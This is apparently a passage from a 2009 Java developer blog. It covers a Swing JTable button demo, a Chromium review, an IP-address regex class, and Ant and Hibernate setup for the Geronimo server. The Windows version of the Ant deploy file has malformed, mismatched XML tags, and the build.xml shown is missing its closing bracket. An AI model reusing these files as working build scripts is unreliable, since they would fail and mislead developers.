Finally, we just create the EmployeeButtonHandler implementation, the atual table and configure it with the table model. Then the last step for the button to work is to configure the cell renderer and editor to be the defaults for JButton classes in the table. We do all this by extending the JFrame class, have it implement the EmployeeButtonHandler and adding logic for the button clicks and to create and configure the model JTable.

Here is the code. I put them all as one string of code in a package "demotablebutton". The JFrame with the table creation/configuration is in a class DemoTableButton, which also has a main() method for running the demonstration. So just divide the following public classes into their own .java files with the same name as each class, and run it to see the table in action.

/** DemoTableButton.java **/
package demotablebutton;

import java.awt.BorderLayout;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.SwingUtilities;
import javax.swing.WindowConstants;

public class DemoTableButton extends JFrame
  implements EmployeeTableModel.EmployeeButtonHandler
{
  private JLabel messageLabel;

  public static void main(String[] args)
  {
    new DemoTableButton();
  }
  
  public DemoTableButton()
  {
    setLayout(new BorderLayout());

    messageLabel = new JLabel("Click a button.");
    add(messageLabel, BorderLayout.NORTH);

    // create the table and the model
    EmployeeTableModel model = new EmployeeTableModel(this);
    JTable table = new JTable(model);
    // now make a renderer the default for columns of type JButton
    TableButtonRenderer renderer = new TableButtonRenderer();
    table.setDefaultEditor(JButton.class, renderer);
    table.setDefaultRenderer(JButton.class, renderer);

    // add the table in a scrollpane
    JScrollPane scroll = new JScrollPane(table);
    add(scroll, BorderLayout.CENTER);

    setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
    SwingUtilities.invokeLater(new Runnable() {
      public void run()
      {
        setVisible(true);
        setSize(400, 300);
      }
    });
  }

  public void buttonClicked(Employee e)
  {
    messageLabel.setText("Full Name: " + e.getName() + " " + e.getSurname());
  }
}

/** Employee.java **/
package demotablebutton;

public class Employee
{
  private String name;

  private String surname;

  public Employee(String name, String surname)
  {
    this.name = name;
    this.surname = surname;
  }

  public String getName()
  {
    return name;
  }

  public String getSurname()
  {
    return surname;
  }
}

/** EmployeeTableModel.java **/
package demotablebutton;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.HashMap;
import java.util.Map;
import javax.swing.JButton;
import javax.swing.table.AbstractTableModel;

public class EmployeeTableModel extends AbstractTableModel
{
  private static final Employee[] employees = new Employee[] {
    new Employee("Quintin", "Beukes"),
    new Employee("Anita", "Geber"),
    new Employee("Gavin", "Classen"),
    new Employee("Arie", "Kruger")
  };

  private Map<Employee, JButton> buttons = new HashMap<Employee, JButton>();

  private EmployeeButtonHandler handler;
  
  public EmployeeTableModel(EmployeeButtonHandler handler)
  {
    this.handler = handler;
  }

  @Override
  public String getColumnName(int column)
  {
    switch (column)
    {
      case 0:
        return "Name";
      case 1:
        return "Surnam";
      case 2:
        return "Options";
    }
    return "#invalid";
  }

  @Override
  public boolean isCellEditable(int rowIndex, int columnIndex)
  {
    return true;
  }

  @Override
  public Class<?> getColumnClass(int columnIndex)
  {
    if (columnIndex == 2)
    {
      return JButton.class;
    }
    else
    {
      return String.class;
    }
  }

  public int getRowCount()
  {
    return employees.length;
  }

  public int getColumnCount()
  {
    return 3;
  }

  public Object getValueAt(int rowIndex, int columnIndex)
  {
    switch (columnIndex)
    {
      case 0:
        return employees[rowIndex].getName();
      case 1:
        return employees[rowIndex].getSurname();
      case 2:
        return getCellButton(employees[rowIndex]);
    }
    
    return "#invalid";
  }

  private JButton getCellButton(Employee employee)
  {
    JButton button = buttons.get(employee);
    if (button == null)
    {
      button = createButton(employee);
      buttons.put(employee, button);
    }
    return button;
  }

  private JButton createButton(final Employee employee)
  {
    final JButton button = new JButton("Get Fullname");

    button.addActionListener(new ActionListener() {
      public void actionPerformed(ActionEvent e)
      {
        handler.buttonClicked(employee);
      }
    });

    return button;
  }

  public static interface EmployeeButtonHandler
  {
    public void buttonClicked(Employee e);
  }
}

/** TableButtonRenderer.java **/
package demotablebutton;

import java.awt.Component;
import java.util.Map;
import java.util.WeakHashMap;
import javax.swing.AbstractCellEditor;
import javax.swing.JButton;
import javax.swing.JTable;
import javax.swing.table.TableCellEditor;
import javax.swing.table.TableCellRenderer;

public class TableButtonRenderer extends AbstractCellEditor
  implements TableCellRenderer, TableCellEditor
{
  private Map<String, JButton> renderButtons = new WeakHashMap<String, JButton>();

  public Component getTableCellRendererComponent(JTable table, Object value,
    boolean isSelected, boolean hasFocus, int row, int column)
  {
    JButton button = (JButton)value;
    JButton renderButton = renderButtons.get(button.getText());

    if (renderButton == null)
    {
      renderButton = new JButton(button.getText());
      renderButtons.put(button.getText(), renderButton);
    }
    
    return renderButton;
  }

  public Object getCellEditorValue()
  {
    return null;
  }

  public Component getTableCellEditorComponent(JTable table, Object value,
    boolean isSelected, int row, int column)
  {
    return (JButton)value;
  }
}

Chromium

2009-10-04T18:14:00.000+02:00

I have been trying Chromium on Linux since this morning, and I'm convinced. This is the browser I'll be using from now on.

It's fast, it's focused, and it offers only what's needed.

Give it a try. If you have Ubuntu, just add the following to your /etc/apt/sources.list:
deb http://ppa.launchpad.net/shutter/ppa/ubuntu hardy main
deb-src http://ppa.launchpad.net/shutter/ppa/ubuntu hardy main

Replacing "hardy" with your Ubuntu version (I should really upgrade - hmm).

Then run "apt-get update && apt-get install chromium-browser".

Reading my G-mail e-mail has never smoother. I can even "pin" the tab, making it take up less space at the left of the tabs pane. Switching tabs is so fast. I haven't had a single "pause" like I've had with Firefox. Flash integration was don't quicker than with Firefox, which can be very picky on loading your Flash plugin if you didn't do it exactly like it wants it.

There is no separate search tool, like with Firefox. You can just type your query into the address bar, and Chromium will notice it's not a URL and instead offer to search on one of your configured search engines.

I haven't seen a single glitch in the rendering engine. The browser opens in no-time, new tabs are almost instantaneous, even though it renders the "new tab" page, which is very similar to the Google Toolbar new tab page. Opening a link in a new tab, will open it right next to the current tab, which means you can keep your tabs grouped. Unlike firefox, which scrolls tabs, Chromium sizes your tabs so they can all fit into the tab bar. This isn't so great if you're like me and never open more than one browser window. After I've been browsing for a bit I have to start closing tabs, because their titles aren't visible anymore, instead being replaced by "....". I prefer the scrolling, though this might be good if all the pages have their own favourites icon.

When you download a file, a download "toolbar" or "strip" is displayed at the bottom. Each download is displayed with a menu to remove it, open it, cancel it and so on. Once you close it I haven't figured out how to get it back, other than starting a new download. Though, you can open the download tab, which shows your downloads, each with it's speed, status, the when it was started, the source URL, filename and facilities to pause, remove and cancel it. Most of this is standard, though the window is very good looking, and even offers a search functionality. Further, I'm sure it won't bring your browser to a halt if you have hundreds of historical downloads in there - which is something I tend to have. With the search feature this will probably become even more of a habit, as I can just dump my downloads into my "downloads" directory, waiting to be sorted another time and age. If I need access to them I can just type a quick search and I'm done, able to access it right from within the browser. And the whole deal is very eye-pleasing. And did I mention fast?

Before I forget, the "incognito" window. All of us has had legitimate, valid reasons for not wanting others to see what we've been doing on the net. The incognito is made just for this. Firefox 3.5 also has this, but it's done poorly. You have to completely switch it over to "Private Browsing" mode, which means you have to do either one or the other. Usually you only have a quick page/two to access in between the other, and to have to abandon all the other pages just so you can do this makes it pointless. It's easier to just ignore the whole deal and open my usual "root user" Firefox session. Chromium allows you to open another window, which doesn't save any history for anything browsed from there.

There is only 2 things I don't like about it. There's no delicious sidepane plugin :/ And I really love this feature - available in Firefox. So I figured I'd make one - how hard could it be? But the extension/plugin API doesn't seem to support sidepanes.

At least I'd be able to still tag pages on delicious using their scriptlets/bookmarklets. It's a bit slower, but I won't loose any bookmarks. At least until the APIs grow enough for someone to build one.

I did mention it's fast right?

Regular Expression for IP Address Search and Extract

2009-09-12T19:09:00.001+02:00

Note: This is not an explanation on how to discover the Internet IP address of the machine/network you are browsing from. If what you want to do is find out this IP address, rather visit http://www.ip-details.com/ or http://www.whatismyip.com/.

Regular expressions are extremely useful for working with strings, especially validating and searching through strings. The Regular Expression is a way to define a pattern, which a parser would use to match strings.

The following snippet is a Java class, which provides static methods for searching through a given string for IP addresses. It will only match valid IP addresses, so it's very useful in this sense. On top of this it has a static method which validates a given string to be a valid IP address. Note that it defines valid IP address as 4 numbers in the range 0 to 255 separated by dots (.). That means the strings "0.0.0.0" and "255.255.255.255" is also seen as valid IP addresses. So it's not to check the validity or usefulness of an IP, but merely to match strings which can pass as an IP according to it's structure.

I provided the class below, with a main() method for demonstrating it's use.

import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import java.util.TreeSet;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class IPFinder
{
 private static final String IP_SEPERATOR = "(\\p{Space}|\\p{Punct})";

 private static final String IP_COMPONENT = "(1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])";

 private static final Pattern IP_PATTERN = Pattern.compile("(?<=(^|[" + IP_SEPERATOR +
   "]))(" + IP_COMPONENT + "\\.){3}" + IP_COMPONENT + "(?=([" + IP_SEPERATOR + "]|$))");

 private List<String> ips;

 /**
  * Constructs a new IPFinder for the given string
  * @param s
  */
 public IPFinder(String s)
 {
   ips = findIPAddresses(s);
 }

 /**
  * @return the list of IPs found in the String supplied during construction
  */
 public List<String> getIPs()
 {
   return ips;
 }

 /**
  * @return the list of unique IPs found in the String supplied during construction
  */
 public Set<String> getUniqueIPs()
 {
   return new TreeSet<String>(ips);
 }

 /**
  * Utility method to extract IP addresses, non unique
  * @param s
  */
 public static Set<String> findUniqueIPAddresses(String s)
 {
   return new TreeSet<String>(findIPAddresses(s));
 }

 /**
  * Utility method to extract IP addresses, non unique
  * @param s
  */
 public static List<String> findIPAddresses(String s)
 {
   List<String> ips = new ArrayList<String>();
  
   Matcher m = IP_PATTERN.matcher(s);
   while (m.find())
   {
     String ip = m.group();
     ips.add(ip);
   }

   return ips;
 }

 /**
  * Validates an IP address
  * @param ip
  * @return true if it's a valid IP address
  */
 public static boolean isValidIP(String ip)
 {
   return IP_PATTERN.matcher(ip).matches();
 }

 /**
  * Test
  * @param args
  * @throws Exception
  */
 public static void main(String[] args) throws Exception
 {
   /* This string contains the IPs that should be matched:
    *   10.85.0.1
    *   182.54.233.31
    *   192.168.0.1
    *   41.43.132.23
    *   0.0.0.0
    *   255.255.255.255
    *   127.0.0.0
    *   127.0.0.1
    *   127.0.0.2
    *   10.0.0.0
    *   10.255.255.255
    *   172.16.0.0
    *   172.31.255.255
    *   192.168.0.0
    *   192.168.255.255
    *   196.38.192.23
    *
    * And one string in the format of an IP that shouldn't be matched:
    *   918.343.54.123
    *   32.256.241.23
    */
   String s =
     "An IP address consists of 4 bytes, which when represented in a readable form\n" +
     "is done so by the numeric value of each byte, separated by a dot (.).\n" +
     "An few examples would be: 10.85.0.1, 182.54.233.31, 192.168.0.1\n" +
     "and 41.43.132.23. Since each component is a byte, their ranges would be from 0\n" +
     "to 255. So valid IPs are in the range 0.0.0.0 to 255.255.255.255. Though neither of\n" +
     "these 2 is valid themselves. So if you see an IP address on the CSI show like\n" +
     "918.343.54.123, then you know it's not valid because it's individual components\n" +
     "contain numbers that are too large for bytes. Another example which is very close\n" +
     "to but still not a match would be: 32.256.241.23.\n" +
     "\n" +
     "The IP address for your local machine is 127.0.0.1.\n" +
     "127.0.0.1 is called the loopback ip, and is associated with virtual interface\n" +
     "interface to allow you to do network type communications without having\n" +
     "to involve your physical network device. Most operating systems allow\n" +
     "any communicatations to 127.0.0.0 IPs to be treated as loopback IPs, and thus\n" +
     "you can run software bound to different loopback IPs as if you are running\n" +
     "the on different machines. So if you want to have 2 different programs run\n" +
     "on the same port and communicte to them via loopback, you can have the first\n" +
     "listen on the port for IP 127.0.0.1 and the other on the same port for 127.0.0.2\n" +
     "and then just communicate to them on these IPs.\n" +
     "\n" +
     "Further, you get private network IPs like the class A 10.0.0.0 to 10.255.255.255,\n" +
     "the class B 172.16.0.0 to 127.31.255.255, and the class C 192.168.0.0 to 192.168.255.255.\n" +
     "All other IPs like 196.38.192.23 is public internet IPs assigned by an authority like\n" +
     "AfriNic.";

   System.out.println("In the paragraph:");
   System.out.println("---------------------------------------------------------------------------");
   System.out.println(s);
   System.out.println("---------------------------------------------------------------------------");
   System.out.println();
   IPFinder finder = new IPFinder(s);
   Set<String> ips = finder.getUniqueIPs();
   System.out.println("We found these " + ips.size() + " ips:");
   for (String ip : ips)
   {
     System.out.println(" -> " + ip);
   }

   System.out.println();
   String[] checkIPs = new String[] {
     "32.256.241.23",
     "918.343.54.123",
     "192.168.10.5"
   };
   for (String ip : checkIPs)
   {
     System.out.println(ip + " is a valid IP: " + isValidIP(ip));
   }
 }
}

Deploying to Geronimo from your Netbeans Project

2009-09-05T01:52:00.006+02:00

I used to be a major Eclipse fan. I thought Netbeans was useless and featureless. It certain has less Java editing features compared to Eclipse, which has brilliant ones like the Java Search and it's refactoring functions, but it's got a much better design and is more rounded off. So it's not as messy and over done as Eclipse tends to be. Take for an example Eclipse's RCP framework. If you've ever done RCP programming in Eclipse you would have noticed that they went too far in making things declarative and this leads to inconsistencies sometimes, like when you want to add menu items. In some cases you have can do it declarative but in certain cases you need to do it with code, and in even other cases you need to mix the 2.

I prefer to keep things consistent. This allows you to document things more clearly and for new programmers (and even yourself in a few months) to not waste too much time getting up to speed with every small things he runs into. The Netbeans RCP is brilliant. It's got a clean design and layout, and integrates well into the IDE's other features like the JavaEE Application Client and GUI builder. Further Netbeans specialized plugins are maybe not an attempt at long features lists, but they're stable and do their purpose well. They offer everything you need to complete your task. Eclipse tends to have so many features, that none of them are production quality yet. And they tried to abstract things to such a degree, that certain features feel "loose" and not well integrated.

But the point is not to compare Netbeans and Eclipse.

Customizing the Netbeans Build Process
Eclipse has a Geronimo plugin, something which Netbeans does not have yet. There are some projects for Geronimo Netbeans plugins, but they're all dead. It does seem like the 6.8 Netbeans will have the ability to add a Geronimo server though. But until then you need to make other plans when trying to integrate the Geronimo deploy process into your Netbeans projects.

Netbeans has another great feature which makes this easier. In Netbeans your projects are built with ant. The IDE generates a file called "nbproject/build-impl.xml", and this is where all the build logic is found. Though in the root of your project you will find the standard "build.xml". It's this build.xml file which includes the generated build file. To allow for build customization, the generated build file has a couple of empty ant targets, which you can override in your build.xml. There are pre/post targets for all the different tasks performed by the user, such as clean, compile, package, etc. You can also override the main build targets, though you would have to implement them if you don't want to break them.

So, if you wanted to do obfuscate your class files, you can override the "-post-compile" target, and run the obfuscate task, like so:

        <target name="-post-compile">
          <obfuscate>
              <fileset dir="${build.classes.dir}">
              </fileset>
          </obfuscate>
        </target>

So, to integrate into the Geronimo deploy process, we will modify our build.xml. When you create your project, just create it with any "local" server. I use Glassfish 2 since it shipped with my Netbeans download. We will not be using Glassfish, since we're overriding the behaviour of the ant targets. When Netbeans deploys a project it executes the "run-deploy" task, so this is where we'll hook into. Also note that these instruction will only work on Linux (or other Unixes), since I have an "isdeployed.sh" script to make it easier to check if an application is deployed. I'll find a more portable way to do it at another time, and if you do it, please send along your changes. For the mean time though, I did add instructions to the end to get a more limited deployment for those users who aren't developing on *nix.

Deploying to Geronimo
First step is to create a file called "geronimo-ant-deploy.xml" next to your "build.xml", and give it the following contents:

<?xml version="1.0" encoding="UTF-8"?>
<project name="geronimo-ant-deploy" default="geronimo-init" basedir=".">
  <dirname property="basedir.geronimo-ant-deploy" file="${ant.file.geronimo-ant-deploy}"/>

  <property file="nbproject/project.properties"/>
  <property file="${basedir.geronimo-ant-deploy}/geronimo-ant-deploy.properties"/>

  <target name="geronimo-init">
    <property name="geronimo.deploy-name" value="${deploy.moduleId} (${deploy.module})"/>

    <condition property="geronimo.init.dependencies-satisfied">
      <and>
        <isset property="deploy.plan" />
        <isset property="deploy.module" />
        <isset property="deploy.moduleId" />
      </and>
    </condition>

    <condition property="geronimo.is-deployed">
      <and>
        <isset property="deploy.disable-deploy-check"/>
        <equals arg1="${deploy.disable-deploy-check}" arg2="deployed"/>
      </and>
    </condition>

    <fail unless="geronimo.init.dependencies-satisfied">
      Failed to deploy:
      1. You need to set the deploy.plan property to the path to the deploy plan .xml file 
         (Current Value: ${deploy.plan})
      2. You need to set the deploy.module property to the path to the module (archive) to deploy 
         (Current Value: ${deploy.module})
      3. You need to set the deploy.moduleId property to the Geronimo module ID for this project.
         You can find the required value for this in ${deploy.plan} (deploy.plan) as the <dep:moduleId> tag,
         and it would be in the form: groupId/artifactId/version/type
    </fail>
  </target>

  <target name="geronimo-check-deployed" depends="geronimo-init" unless="deploy.disable-deploy-check" 
      description="Checks if the app has been deployed">
    <echo>Checking if module ${geronimo.deploy-name} is already deployed</echo>
    <exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.isdeployed}" 
        resultproperty="geronimo.check-module">
      <arg line="${deploy.moduleId} --user ${geronimo.user} --password ${geronimo.pwd}"/>
    </exec>

    <condition property="geronimo.check-succeeded">
      <or>
        <equals arg1="${geronimo.check-module}" arg2="255"/>
        <equals arg1="${geronimo.check-module}" arg2="0"/>
      </or>
    </condition>

    <fail unless="geronimo.check-succeeded">
      Failed to check if module ${geronimo.deploy-name} is already deployed
    </fail>

    <condition property="geronimo.is-deployed">
      <equals arg1="${geronimo.check-module}" arg2="0"/>
    </condition>
  </target>

  <!-- UNDEPLOY -->
  <target name="geronimo-not-undeploy" depends="geronimo-check-deployed" unless="geronimo.is-deployed" 
      description="Handles the case of the application not being deployed when trying to undeploy">
    <echo>Module is not currently deployed. Not undeploying module ${geronimo.deploy-name}.</echo>
  </target>

  <target name="geronimo-do-undeploy" depends="geronimo-check-deployed" if="geronimo.is-deployed" 
      description="Undeploying webapp in geronimo action">
    <echo>Undeploying ${geronimo.deploy-name}</echo>

    <exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
      <arg line="--user ${geronimo.user} --password ${geronimo.pwd} undeploy ${deploy.moduleId}"/>
    </exec>

    <echo>Undeployed ${geronimo.deploy-name}</echo>
  </target>

  <target name="geronimo-undeploy" 
      depends="geronimo-init,geronimo-check-deployed,geronimo-not-undeploy,geronimo-do-undeploy" 
      description="Undeploying webapp in geronimo entry point">
  </target>

  <!-- DEPLOY -->
  <target name="geronimo-newdeploy" depends="geronimo-check-deployed" unless="geronimo.is-deployed" 
      description="Deploying new webapp in geronimo action">
    <echo>Not deployed, deploying new application ${geronimo.deploy-name}</echo>

    <exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
      <arg line="--user ${geronimo.user} --password ${geronimo.pwd} deploy ${basedir}/${deploy.module} ${basedir}/${deploy.plan}"/>
    </exec>

    <echo>Deployed ${geronimo.deploy-name}</echo>
  </target>

  <target name="geronimo-redeploy" depends="geronimo-check-deployed" if="geronimo.is-deployed" 
      description="Redeploying webapp in geronimo action">
    <echo>Already deployed, redeploying ${geronimo.deploy-name}</echo>

    <exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
      <arg line="--user ${geronimo.user} --password ${geronimo.pwd} redeploy ${basedir}/${deploy.module} ${basedir}/${deploy.plan}"/>
    </exec>

    <echo>Deployed ${geronimo.deploy-name}</echo>
  </target>

  <target name="geronimo-deploy" 
      depends="geronimo-init,geronimo-check-deployed,geronimo-newdeploy,geronimo-redeploy" 
      description="Deploying webapp in geronimo entry point">
  </target>
</project>

Then, in the same directory, create a file called "geronimo-ant-deploy.properties", and give it the following contents (updating them to suite your installation):

kms.home=/opt
geronimo.home=${kms.home}/server/geronimo
geronimo.url=http://localhost:8080/
geronimo.bin=${geronimo.home}/bin
geronimo.lib=${geronimo.home}/lib
geronimo.user=system
geronimo.pwd=manager
geronimo.start=startup.sh
geronimo.stop=shutdown.sh
geronimo.deploy=deploy.sh
geronimo.isdeployed=isdeployed.sh

Lastly, in your Geronimo installation directory (the one listed in geronimo.home above), create a file called "isdeployed.sh" in the "bin" subdirectory, with the following contents:

#!/bin/bash

if [ "$2" = "" ]; then
  echo "Usage: $0 <moduleName> <deploy.sh arg1>..<deploy.sh argN>" >&2
  echo "After the module name you wish to check, you need to supply any other options you wish to " >&2
  echo "Pass onto the deploy.sh script (like the username/password)" >&2
  exit 2
fi

MODULE="$1"
WD=`dirname $0`
DEPLOY="$WD/deploy.sh"

shift

if [ "$MODULE" = "list" ]
then
  "$DEPLOY" "$@" list-modules
  exit 0
fi

if "$DEPLOY" "$@" list-modules | egrep -q "^  . $MODULE"
then
  exit 0
else
  exit 255
fi

Remember to make the isdeployed.sh script executable. You can do so by running from the command prompt: chmod a+x /path/to/geronimo/bin/isdeployed.sh

So now that you've setup the basics for Geronimo deployment you need to configure your project. First thing you need to do is change your build.xml file to the following:

<project name="MyEJBProject" default="default" basedir="." 
    ejbjarproject="http://www.netbeans.org/ns/j2ee-ejbjarproject/3">
  <description>Builds, tests, and runs the project MyEJBProject.</description>

  <import file="nbproject/build-impl.xml"/>
  <import file="geronimo-ant-deploy.xml"/>

  <target name="run-deploy" depends="dist,geronimo-deploy">
  </target>
</project

As you can see above, we include the geronimo-ant-deploy.xml (which has the necessary targets for deploying to Geronimo), and then we override "run-deploy" and configure it to first run "dist" so the JAR is built, and the the "geronimo-deploy" target.

Finally we need to configure the Geronimo deployment by setting some properties in your project. In the project's "nbproject" subdirectory, open the "project.properties" file. Then at the end add the following 3 properties:

deploy.module=${dist.jar}
deploy.plan=${meta.inf}/geronimo-ejb.xml
deploy.moduleId=user/MyEJBProject/1.0/jar

These properties are basically described as follows:

deploy.module - the path to that JAR archive you wish to deploy
deploy.plan - the path to your Geronimo deploy plan .xml file
deploy.moduleId - the module ID of your project. This is needed to check if a module is deployed or not. This is basically the moduleId as defined in your deploy plan, taking the form of: group/artifact/version/type

Once you've completed these steps you can use the standard Netbeans "Deploy" action to deploy your project to a local Geronimo instance.

Modifying for using in Windows
Since we need the "isdeployed.sh" script to check if a project is deployed, you can't run the above on Windows "as-is". You do have a couple of options though.

1. The easiest is probably to use the following "geronimo-ant-deploy.xml" file instead of the one given above:

<project name="geronimo-ant-deploy" default="geronimo-init" basedir=".">
  <dirname property="basedir.geronimo-ant-deploy" file="${ant.file.geronimo-ant-deploy}">

  <property file="nbproject/project.properties">
  <property file="${basedir.geronimo-ant-deploy}/geronimo-ant-deploy.properties">

  <target name="geronimo-init">
    <property name="geronimo.deploy-name" value="${deploy.moduleId} (${deploy.module})">

    <condition property="geronimo.init.dependencies-satisfied">
      <and>
        <isset property="deploy.plan">
        <isset property="deploy.module">
        <isset property="deploy.moduleId">
      </isset>
    </isset>

    <fail unless="geronimo.init.dependencies-satisfied">
      Failed to deploy:
      1. You need to set the deploy.plan property to the path to the deploy plan .xml file
         (Current Value: ${deploy.plan})
      2. You need to set the deploy.module property to the path to the module (archive) to deploy 
         (Current Value: ${deploy.module})
      3. You need to set the deploy.moduleId property to the Geronimo module ID for this project.
         You can find the required value for this in ${deploy.plan} (deploy.plan) as the <dep:moduleId> tag,
         and it would be in the form: groupId/artifactId/version/type
    </fail>
  </isset>

  <!-- UNDEPLOY -->
  <target name="geronimo-undeploy" depends="geronimo-init" 
      description="Undeploying webapp in geronimo entry point">
    <echo>Undeploying ${geronimo.deploy-name}</echo>

    <exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
      <arg line="--user ${geronimo.user} --password ${geronimo.pwd} undeploy ${deploy.moduleId}">
    </arg>

    <echo>Undeployed ${geronimo.deploy-name}</echo>
  </exec>

  <!-- DEPLOY -->
  <target name="geronimo-deploy" depends="geronimo-undeploy" 
      description="Deploying webapp in geronimo entry point">
    <echo>Deploying new application ${geronimo.deploy-name}</echo>

    <exec dir="${geronimo.home}" executable="${geronimo.bin}/${geronimo.deploy}" failonerror="true">
      <arg line="--user ${geronimo.user} --password ${geronimo.pwd} deploy ${basedir}/${deploy.module} ${basedir}/${deploy.plan}">
    </arg>

    <echo>Deployed ${geronimo.deploy-name}</echo>
  </exec>
  </target>
</project>

2. Alternatively, to keep the conditional deploy/redeploy functionality might be desired, because they a redeploy executes in a single step. For this you can make your own Windows version of "isdeployed.sh" and then modify the appropriate targets in the build file to use your's instead. You can leave the script almost intact by using the Windows version of egrep. Though I'm not sure how you would return success/failure/error levels to ant. At the very least you can possibly return success/failure, which should be sufficient. For this you just need to check for "0" return code as "project is deployed" and all non-zero return codes as "not deployed".
My version above has 3 return levels which is "0" for "deployed", "255" for "not deployed" and any other code for "error". In case of an "error" I would cease the build process with a <fail> task, though this is not crucial for getting the script to run.

3. You can also use Cygwin to run the script inside a "virtual Unix" environment.

So, this is how I manage my Geronimo projects through Netbeans. If you get stuck, drop me a message and I'll see where I can help out.

Geronimo - Using Hibernate as your JPA provider

2009-09-05T00:50:00.004+02:00

So we started a redev of a JavaEE project, and I decided to use Geronimo as the application server. Geronimo uses OpenEJB for it's EJB container, and I guess this was my biggest motivator. OpenEJB is truly a brilliant project. I also replaced Toplink with Hibernate for the persistence.

The justification of Hibernate was definitely maturity. It's much faster that EclipseLink/Toplink and definitely less buggy. I've had too many problems with Toplink to ever willingly use it again where I have a better option. To get Hibernate integrated into Geronimo wasn't easy though. It's the first time I use Geronimo to this degree. Previously I just ported a small project to Geronimo which had nothing more than a JMS queue and an MDB. To get Hibernate running in Geronimo isn't difficult, though I didn't know how, and thus struggled a bit. So this entry will be my second one describing how to use a specific persistence framework in OpenEJB.

Deploying Hibernate in Geronimo
The basic idea on using Hibernate is too deploy the dependencies and setup a special transaction manager. This explanation was based on Hibernate 3.3. So first get hold of:

Hibernate Distribution 3.3.2
Hibernate Annotations 3.4.0, and
Hibernate EntityManager 3.4.0

Then extract the archives, and retrieve from the extracted directories the following JAR files. I recommend you copy them into a temporary directory for easier maintenance while deploying Hibernate as a JPA provider.

Hibernate Distribution
1. hibernate3.jar
2. lib/required/antlr-2.7.6.jar
3. lib/required/commons-collections-3.1.jar
4. lib/required/dom4j-1.6.1.jar
5. lib/required/javassist-3.9.0.GA.jar
6. lib/required/jta-1.1.jar
7. lib/required/slf4j-api-1.5.8.jar
Hibernate Annotations
1. hibernate-annotations.jar
2. lib/ejb3-persistence.jar
3. lib/hibernate-commons-annotations.jar
4. lib/slf4j-api.jar
Hibernate EntityManager
1. hibernate-entitymanager.jar

Since the current Geronimo (2.1) uses OpenEJB 3.0, you need to create a Hibernate Transaction Manager Lookup class and add it as a dependency to be used wherever we use Hibernate. For this I'll explain how to do it as you would in Netbeans. If you use another development method/IDE, adapt appropriately.

Start a new Java Class Library project and call it GeronimoTransactionManager.
Create a class "org.hibernate.transaction.GeronimoTransactionManagerLookup".

Paste the following code into this new class.

package org.hibernate.transaction;

import java.util.Properties;
import java.util.Set;
import javax.transaction.TransactionManager;
import org.apache.geronimo.gbean.AbstractName;
import org.apache.geronimo.gbean.AbstractNameQuery;
import org.apache.geronimo.kernel.Kernel;
import org.apache.geronimo.kernel.KernelRegistry;
import org.hibernate.HibernateException;
import org.hibernate.transaction.TransactionManagerLookup;

public class GeronimoTransactionManagerLookup implements TransactionManagerLookup
{
 public static final String UserTransactionName = "java:comp/UserTransaction";

 public TransactionManager getTransactionManager(Properties props) throws HibernateException
 {
   try
   {
     Kernel kernel = KernelRegistry.getSingleKernel();
     AbstractNameQuery query = new AbstractNameQuery(TransactionManager.class.getName());
     Set<AbstractName> names = kernel.listGBeans(query);
     if (names.size() != 1)
     {
       throw new IllegalStateException("Expected one transaction manager, not " + names.size());
     }
     AbstractName name = names.iterator().next();
     TransactionManager transMg = (TransactionManager) kernel.getGBean(name);
     return (TransactionManager) transMg;
   }
   catch (Exception e)
   {
     e.printStackTrace();
     System.out.println();
     throw new HibernateException("Geronimo Transaction Manager Lookup Failed", e);
   }
 }

 public String getUserTransactionName()
 {
   return UserTransactionName;
 }
}

Then under the project's properties, make sure "JDK 5" is selected in the "Source/Binary Format" drop down on the "Sources" property page.
Before closing the project properties dialog, goto Libraries and add all the Hibernate JAR files we listed above to your classpath by clicking the "Add JAR/Folder" button and selecting all of them. If you are using Netbeans you might already have a "Hibernate JPA" library configured in the IDE, so in this case you can instead click the "Add Library" button and select "Hibernate JPA" from the list. We only need the our class to compile against Hibernate, so it doesn't matter if you don't use the exact version we will be deploying into Geronimo. As long as the API is the same, you should be able to safely compile against any Hibernate 3.3 JARs.
Then you need to add one more JAR as a library. This will be the Geronimo kernel jar, which you can find in the Geronimo distribution directory under: repository/org/apache/geronimo/framework/geronimo-kernel/2.1.4/geronimo-kernel-2.1.4.jar
Confirm the properties dialog by pressing the "OK" button.
Now build the project and find the GeronimoTransactionManager.jar file in the project's "dist" directory.
This is the JAR we will use when adding repository resources to Geronimo in the next step, so put it with the rest of the Hibernate JAR files you collected above.

Now we will deploy the resources to Geronimo. When you add a JAR resource, you do so on the web console under the Services->Repository portlet. You select the JAR file by clicking the 'Browse' button and then enter the 4 details, nl. Group, Artifact, Version and Type. After you've added it, Geronimo will add them to it's "repository" as: group/artifact/version/type/{artifact}-{version}.jar. Internally it's ID will be "group/artifact/version/type". I will use this format when referring to them, so upload each of the following JAR files using this format to determine which values should go into each field.

hibernate3.jar - hibernate/core/3.3/jar
lib/required/antlr-2.7.6.jar - hibernate/antlr/2.7.6/jar
lib/required/commons-collections-3.1.jar - hibernate/commons-collections/3.1/jar
lib/required/dom4j-1.6.1.jar - hibernate/dom4j/1.6.1/jar
lib/required/javassist-3.9.0.GA.jar - hibernate/javassist/3.9.0.GA/jar
lib/required/jta-1.1.jar - hibernate/jta/1.1/jar
hibernate-annotations.jar - hibernate/annotations/3.4/jar
lib/ejb3-persistence.jar - hibernate/jpa/3.0/jar
lib/hibernate-commons-annotations.jar - hibernate/commons-annotations/3.4/jar
hibernate-entitymanager.jar - hibernate/entitymanager/3.4/jar
GeronimoTransactionManager.jar - hibernate/GeronimoTransactionManager/1.0/jar

Now that you've setup all the dependencies you can create your EJB project. All you need to do is

Create a JDBC pool through the Geronimo console (in this example called: console.dbpool/jdbc_myDatabasePool/1.0/rar)

